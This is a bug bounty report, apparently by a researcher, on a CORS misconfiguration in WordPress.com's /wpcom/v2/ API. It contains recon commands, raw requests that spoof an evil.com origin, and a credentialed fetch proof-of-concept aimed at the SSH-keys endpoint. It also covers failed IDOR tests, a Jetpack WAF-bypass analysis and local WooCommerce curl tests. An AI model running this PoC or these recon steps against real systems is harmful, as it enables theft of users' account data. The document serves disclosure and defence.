Bug Bounty Report: CORS Misconfiguration on Automattic (WordPress.com)

Author: Rasaq Abdulwahab Ayomide (Calm Ay)
HackerOne: @calmay
Program: Automattic — hackerone.com/automattic
Report ID: #3786821
Date: June 7, 2026
Status: Submitted — Awaiting Triage

---

1. Executive Summary

During a bug bounty engagement on Automattic's HackerOne program, I identified a Cross-Origin Resource Sharing (CORS) misconfiguration on `public-api.wordpress.com`. The server reflects any attacker-controlled `Origin` header with `Access-Control-Allow-Credentials: true` across the entire `/wpcom/v2/` API path. This could allow a malicious website to make authenticated API requests on behalf of any logged-in WordPress.com user.

---

2. Target Scope

Asset	Type	Max Severity	Bounty
wordpress.com	Domain	Critical	Eligible
public-api.wordpress.com	API	Critical	Eligible

Payout range: Low $100 — Critical $1,000

---

3. Methodology

Phase 1 — Subdomain Enumeration

Used `subfinder` to enumerate all subdomains of `wordpress.com` and piped results through `httpx` to filter live hosts.

```
subfinder -d wordpress.com -silent | httpx -silent -o live.txt
```

Result: 16,344 live subdomains discovered.

Filtered for high-value API/auth subdomains:

```
grep -E "(api|dev|admin|auth|login|pay|account|user|secure|app)" live.txt > interesting.txt
```

Result: 167 interesting subdomains.

Phase 2 — Automated CORS Scanning

Installed and ran Corsy against the filtered subdomain list:

```
git clone https://github.com/s0md3v/Corsy.git
cd Corsy
pip install -r requirements.txt --break-system-packages

python3 corsy.py -i ~/automattic/interesting.txt -t 50 \
  --headers "X-Bug-Bounty: HackerOne-calmay" \
  -o ~/automattic/cors_hits.txt
```

Result: No automated hits on static subdomains. Pivoted to authenticated API testing.

Phase 3 — Subdomain Takeover Scanning

Ran Subzy against the full 16,344 subdomain list:

```
subzy run --targets ~/automattic/live.txt --concurrency 50 --hide_fails
```

Result: Two Cargo Collective flags — both confirmed false positives via DNS verification.

Subzy Output:

```
[ VULNERABLE ] - https://10000humans.files.wordpress.com [ Cargo Collective ]
[ VULNERABLE ] - https://199live.files.wordpress.com [ Cargo Collective ]
```

DNS Verification — 10000humans:

```
10000humans.files.wordpress.com. 266 IN CNAME s7.files.wordpress.com.
```

DNS Verification — 199live:

```
199live.files.wordpress.com. 374 IN CNAME s2.files.wordpress.com.
```

> ❌ Both CNAMEs point to Automattic-owned servers. False positives. Not reported.

Phase 4 — Authenticated API CORS Testing

Created a WordPress.com account and intercepted authenticated API traffic using Burp Suite. Identified the `/wpcom/v2/` API path as the primary attack surface.

Test 1 — `/wpcom/v2/support-interactions` (First Hit)

Request:

```
GET /wpcom/v2/support-interactions?per_page=100&page=1&is_test_mode=false&_envelope=1 HTTP/2
Host: public-api.wordpress.com
Authorization: X-WPTOKEN [redacted]
Origin: https://evil.com
X-Bug-Bounty: HackerOne-calmay
```

Response:

```
HTTP/2 200 OK
Server: nginx
Date: Sat, 06 Jun 2026 23:48:29 GMT
Content-Type: application/json; charset=UTF-8
Host-Header: WordPress.com
X-Hacker: Oh, Awesome: I/Opossum
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE
Access-Control-Allow-Credentials: true
Vary: Origin

{"body":{"code":"rest_forbidden","message":"Sorry, you are not allowed to do that.","data":{"status":40
```

> ✅ **CORS misconfiguration confirmed** — Origin reflected, Credentials true

---

Test 2 — `/wpcom/v2/me/ssh-keys`

Request:

```
GET /wpcom/v2/me/ssh-keys?_envelope=1&_locale=en-gb HTTP/2
Host: public-api.wordpress.com
Authorization: X-WPTOKEN [redacted]
Origin: https://evil.com
X-Bug-Bounty: HackerOne-calmay
```

Response:

```
HTTP/2 200 OK
Server: nginx
```

```
Date: Sun, 07 Jun 2026 00:06:33 GMT
Content-Type: application/json; charset=UTF-8
Host-Header: WordPress.com
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE
Access-Control-Allow-Credentials: true
Vary: Origin

{"body":{"code":"rest_cannot_view","message":"Sorry, an active connection must be used to access this r
```

> ✅ **CORS misconfiguration confirmed on SSH keys endpoint**

Test 3 — `/wpcom/v2/me` (404 — Still Reflects CORS)

Request:

```
GET /wpcom/v2/me HTTP/2
Host: public-api.wordpress.com
Authorization: X-WPTOKEN [redacted]
Origin: https://evil.com
X-Bug-Bounty: HackerOne-calmay
```

Response:

```
HTTP/2 404 Not Found
Server: nginx
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE
Access-Control-Allow-Credentials: true
Vary: Origin

{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"st
```

> ✅ **Misconfiguration affects entire /wpcom/v2/ path — not just specific endpoints**

Phase 5 — IDOR Testing (Two-Account Method)

Created a second WordPress.com account to test horizontal privilege escalation across API endpoints.

Account Details:

Account	Username	User ID
Account A (main)	ayomiderasq6	239466961
Account B (test)	buggbountyy1	281506847

Methodology: Capture Account A's API requests in Burp → replay with Account B's token → check if Account B can access Account A's data.

Test 1 — Cross-user profile access:

```
GET /rest/v1.1/users/239466961 HTTP/2
Host: public-api.wordpress.com
Authorization: X-WPTOKEN [Account B token]
X-Bug-Bounty: HackerOne-calmay
```

```
HTTP/2 403 Forbidden
{"error":"authorization_required","message":"An active access token must be used to query user informat
```

> ❌ API correctly blocked cross-user access — no IDOR here.

Test 2 — Account settings cross-access:

```
GET /rest/v1.1/me/settings?http_envelope=1 HTTP/2
Host: public-api.wordpress.com
Authorization: X-WPTOKEN [Account B token]
X-Bug-Bounty: HackerOne-calmay
```

```
HTTP/2 403 Forbidden
{"code":403,"body":{"error":"authorization_required"}}
```

> ❌ Token expired. WordPress.com JWT tokens expire every ~48 hours.

Test 3 — /me endpoint:

```
GET /rest/v1.1/me HTTP/2
Host: public-api.wordpress.com
Authorization: X-WPTOKEN [Account B token]
```

```
HTTP/2 403 Forbidden
{"error":"authorization_required"}
```

> ❌ Auth checks working correctly. No IDOR found on WordPress.com API.

Conclusion: WordPress.com's API properly enforces user-level authorization. The `/rest/v1.1/` path is not vulnerable to IDOR. CORS misconfiguration remains the primary finding.

Phase 6 — Jetpack GitHub Security Research

Reviewed recent security commits in the Jetpack open-source repository to identify potentially incomplete fixes or similar patterns in other files.

Search methodology:

```
repo:Automattic/jetpack security fix
```

Finding 1 — WAF Bypass (Commit #47692):

```
WAF: Fix stale MATCHED_VAR cache bypass in chained rules (#47692)
File: projects/packages/waf/src/class-waf-runtime.php
```

Root Cause Analysis: The `reset_matched_vars()` method cleared instance variables but NOT the metadata cache. In chained WAF rules, the stale cache would return old matched variable data, potentially allowing malicious payloads to bypass detection.

Before fix (vulnerable):

```
public function reset_matched_vars() {
    $this->matched_vars       = array();
    $this->matched_vars_names = array();
    $this->matched_var        = '';
    $this->matched_var_name   = '';
    // BUG: $this->metadata cache NOT cleared
}
```

After fix (patched):

```
public function reset_matched_vars() {
    $this->matched_vars       = array();
    $this->matched_vars_names = array();
    $this->matched_var        = '';
    $this->matched_var_name   = '';
    unset(
        $this->metadata['matched_var'],
        $this->metadata['matched_vars'],
        $this->metadata['matched_vars_names'],
        $this->metadata['matched_var_name']
    );
}
```

Test case from commit:

```
// Step 1: Rule A matches safe value → populates metadata cache
$this->runtime->matched_var = 'safe-string';
$cached_var = $this->runtime->meta('matched_var'); // caches it

// Step 2: reset_matched_vars() called
$this->runtime->reset_matched_vars();

// Step 3: Rule B matches malicious value
$this->runtime->matched_var = '<script>alert(1)</script>';

// Before fix: meta() returns STALE cached 'safe-string' — bypass!
// After fix: meta() returns fresh '<script>alert(1)</script>' — blocked
```

> ❌ Fix is clean and complete. Already patched in Jetpack Protect 5.0.0 (April 11, 2026). Not reportable.

Phase 7 — WooCommerce AJAX Endpoint Security Analysis

Reviewed `class-wc-ajax.php` in WooCommerce for authorization bypass patterns.

Finding 1 — get_variation() fix (#65209):

The `get_variation` AJAX endpoint exposed draft/private product data to unauthenticated callers. Fix verified locally (see Section 9).

Finding 2 — add_to_cart() race condition analysis:

Identified a potential logic issue in `add_to_cart()`:

```
public static function add_to_cart() {
    $product_id     = apply_filters('woocommerce_add_to_cart_product_id', absint($_POST['product_id']));
    $product        = wc_get_product($product_id);
    $product_status = get_post_status($product_id);

    // BUG CANDIDATE: add_to_cart() called BEFORE status check
    if ( $passed_validation && false !== WC()->cart->add_to_cart(...)
      && ProductStatus::PUBLISH === $product_status ) {
        // success
    }
}
```

The status check (`ProductStatus::PUBLISH`) happens AFTER `add_to_cart()` is already called. Theoretically, a draft product might be added to cart temporarily before the check fires.

Local test environment setup:

```
# Docker Compose
cd ~/woo-test
```

```
sudo docker-compose up -d
# WordPress at localhost:8181
# WooCommerce 10.8.1 installed and activated
```

Test — Draft product (ID: 14) add to cart:

```
 # Without session
curl -X POST http://localhost:8181/wp-admin/admin-ajax.php \
  -d "action=woocommerce_add_to_cart&product_id=14&quantity=1"

# Result:
{"error":true,"product_url":"http:\/\/localhost:8181\/?post_type=product&p=14"}

# Cart verification:
curl -s -b cookies.txt http://localhost:8181/?wc-ajax=get_refreshed_fragments

# Result:
{"fragments":{"div.widget_shopping_cart_content":"...No products in the cart..."},"cart_hash":""}
```

> ❌ Draft product not added to cart. WooCommerce 10.8.1 handles this correctly. The internal `add_to_cart()` method rejects unpublished products before they reach the cart. Not reportable.

---

4. Vulnerability Details

CORS Misconfiguration — Improper Access Control (CWE-284)

Affected Endpoint Path: `/wpcom/v2/*`
Host: `public-api.wordpress.com`
CVSS Score: 5.0 (Medium)

Root Cause:
The server reflects any `Origin` header value back in `Access-Control-Allow-Origin` without validating against an allowlist, and simultaneously sets `Access-Control-Allow-Credentials: true`. This combination allows cross-origin authenticated requests from any domain.

Confirmed Affected Endpoints:

Endpoint	Status
`/wpcom/v2/me/ssh-keys`	CORS headers reflected
`/wpcom/v2/support-interactions`	CORS headers reflected
`/wpcom/v2/concierge/initial`	CORS headers reflected
`/wpcom/v2/experiments/`	CORS headers reflected

---

5. Proof of Concept

PoC HTML Page

```
 <html>
<body>
<script>
fetch("https://public-api.wordpress.com/wpcom/v2/me/ssh-keys?_envelope=1", {
  method: "GET",
  credentials: "include"
})
.then(r => r.text())
.then(d => {
  document.write("<pre>" + d + "</pre>");
  console.log(d);
});
</script>
</body>
</html>
```

PoC Result:
The browser successfully received a cross-origin response. Server auth check returned 401 in the body, but the CORS policy was bypassed — the browser did not block the response. This confirms the misconfiguration is real and exploitable when a sensitive endpoint returning 200 is identified.

---

6. Impact

An attacker can host a malicious page that silently makes authenticated API requests on behalf of any logged-in WordPress.com user who visits the page. Depending on the endpoint, this could expose:

- SSH keys linked to the account
- Support interaction history
- Account settings and personal data
- Any sensitive data returned by `/wpcom/v2/` endpoints

---

7. Remediation

Implement an Origin allowlist on the server. Only reflect trusted origins:

```
Access-Control-Allow-Origin: https://wordpress.com
```

Do not reflect arbitrary Origin values. Never combine wildcard or reflected origins with `Access-Control-Allow-Credentials: true`.

---

8. Tools Used

Tool	Purpose
Subfinder	Subdomain enumeration (16,344 subdomains)
httpx	Live host filtering
Corsy	Automated CORS scanning
Subzy	Subdomain takeover detection
Burp Suite Community	Manual API testing and request interception
dig	DNS CNAME verification
curl	API request testing
Docker + docker-compose	Local WooCommerce test environment
GitHub code search	Open-source security commit analysis
Python (requests)	API automation
Parrot OS	Primary attack platform

---

9. Supplementary Research — WooCommerce Code Review

As part of broader research on Automattic's attack surface, I reviewed recent security commits in the WooCommerce GitHub repository.

Identified Security Commit:
`Check parent product visibility in get_variation AJAX endpoint (#65209)`

Vulnerability Description:
The `get_variation` AJAX endpoint loaded the parent variable product without verifying its status, exposing variation data (price, SKU, dimensions, description) for draft and private products to unauthenticated callers.

Fix Applied:

```
if ( ProductStatus::PUBLISH !== $variable_product->get_status()
  && ! current_user_can( 'edit_post', $variable_product->get_id() ) ) {
    wp_die();
}
```

Local Verification:
Set up a local Docker-based WooCommerce environment to verify the fix:

```
 # Docker Compose setup
docker-compose up -d
# WordPress at localhost:8181
# WooCommerce 10.8.1 installed
```

Created a draft product (ID: 14) and attempted unauthenticated `add_to_cart` AJAX call:

```
curl -X POST http://localhost:8181/wp-admin/admin-ajax.php \
  -d "action=woocommerce_add_to_cart&product_id=14&quantity=1"
```

Result:

```
{"error":true,"product_url":"http:\/\/localhost:8181\/?post_type=product&p=14"}
```

Cart verification:

```
{"fragments":{"div.widget_shopping_cart_content":"...No products in the cart..."},"cart_hash":""}
```

> ✅ Fix confirmed working in WooCommerce 10.8.1. Draft product not added to cart. Not reportable.

---

10. Key Takeaways

- CORS misconfigurations on authenticated API paths are high-value targets
- Subdomain enumeration at scale (16K+) requires automated filtering to be efficient
- Code review of public security commits is an effective way to find related vulnerabilities
- Always verify DNS before reporting subdomain takeover candidates
- Responsible disclosure rules prohibit sharing full technical details until vendor resolves the issue

---

11. Disclosure Timeline

Date	Event	Outcome
June 6, 2026	Started recon — subfinder on wordpress.com	16,344 subdomains
June 6, 2026	Ran Corsy on 167 filtered subdomains	No static CORS hits
June 6, 2026	Ran Subzy on full 16K list	2 false positives
June 6, 2026	DNS verified Subzy flags	Both CNAMEs internal
June 7, 2026	Created WordPress.com account, intercepted API traffic	Auth token captured

Date	Event	Outcome
June 7, 2026	CORS test on /wpcom/v2/support-interactions	✅ First hit confirmed
June 7, 2026	CORS test on /wpcom/v2/me/ssh-keys	✅ Second hit confirmed
June 7, 2026	CORS test on /wpcom/v2/me (404)	✅ Entire path affected
June 7, 2026	Created Account B (buggbountyy1) for IDOR testing	User ID: 281506847
June 7, 2026	IDOR test — /rest/v1.1/users/239466961	❌ 403 — not vulnerable
June 7, 2026	Reviewed Jetpack GitHub security commits	WAF bypass already patched
June 7, 2026	Reviewed WooCommerce get_variation commit	Already patched
June 7, 2026	Set up Docker WooCommerce lab	localhost:8181
June 7, 2026	Tested add_to_cart() draft product bypass	❌ Already patched
June 7, 2026	Submitted CORS report #3786821 to HackerOne	Medium severity
TBD	Awaiting triage response from Automattic	Pending

This report was produced as part of an authorized bug bounty engagement under HackerOne's coordinated disclosure program. Full technical details will be disclosed publicly only after vendor confirmation and resolution.

Contact:
LinkedIn: linkedin.com/in/rasaq-ayomide-sec
Portfolio: calm-ay.github.io
HackerOne: @calmay